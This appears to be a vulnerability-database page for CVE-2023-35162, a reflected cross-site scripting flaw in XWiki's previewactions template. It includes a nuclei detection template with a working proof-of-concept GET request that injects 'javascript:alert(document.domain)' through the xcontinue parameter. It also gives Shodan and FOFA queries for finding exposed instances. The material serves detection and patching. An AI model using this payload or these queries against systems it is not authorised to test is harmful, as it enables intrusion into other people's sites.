Browse / CVEs / CVE-2023-35162
CVE-2023-35162· xwiki / xwiki· CWE-79
XWiki < 14.10.5 - Cross-Site Scripting
mediumseverity
6.1CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it
XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
Impact
Successful exploitation could lead to unauthorized access or data theft.
Fix
Apply the latest patches provided by XWiki to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)
Positive when: contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)") and contains(body, "previewactions.vm") and contains(header, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2023-35162 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-35162
info:
name: XWiki < 14.10.5 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
impact: |
Successful exploitation could lead to unauthorized access or data theft.
remediation: |
Apply the latest patches provided by XWiki to mitigate the vulnerability.
reference:
- https://jira.xwiki.org/browse/XWIKI-20342
- https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
- https://nvd.nist.gov/vuln/detail/CVE-2023-35162
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-35162
cwe-id: CWE-79
epss-score: 0.02377
epss-percentile: 0.84006
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xwiki
product: xwiki
shodan-query:
- XWiki
- xwiki
- http.html:"data-xwiki-reference"
fofa-query: "body=\"data-xwiki-reference\""
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"
matchers:
- type: dsl
dsl:
- 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")'
- 'contains(body, "previewactions.vm")'
- 'contains(header, "text/html")'
- 'status_code == 200'
condition: andReferences
- https://jira.xwiki.org/browse/XWIKI-20342
- https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
- https://nvd.nist.gov/vuln/detail/CVE-2023-35162
Use this check only on systems you are authorised to test. Where the data comes from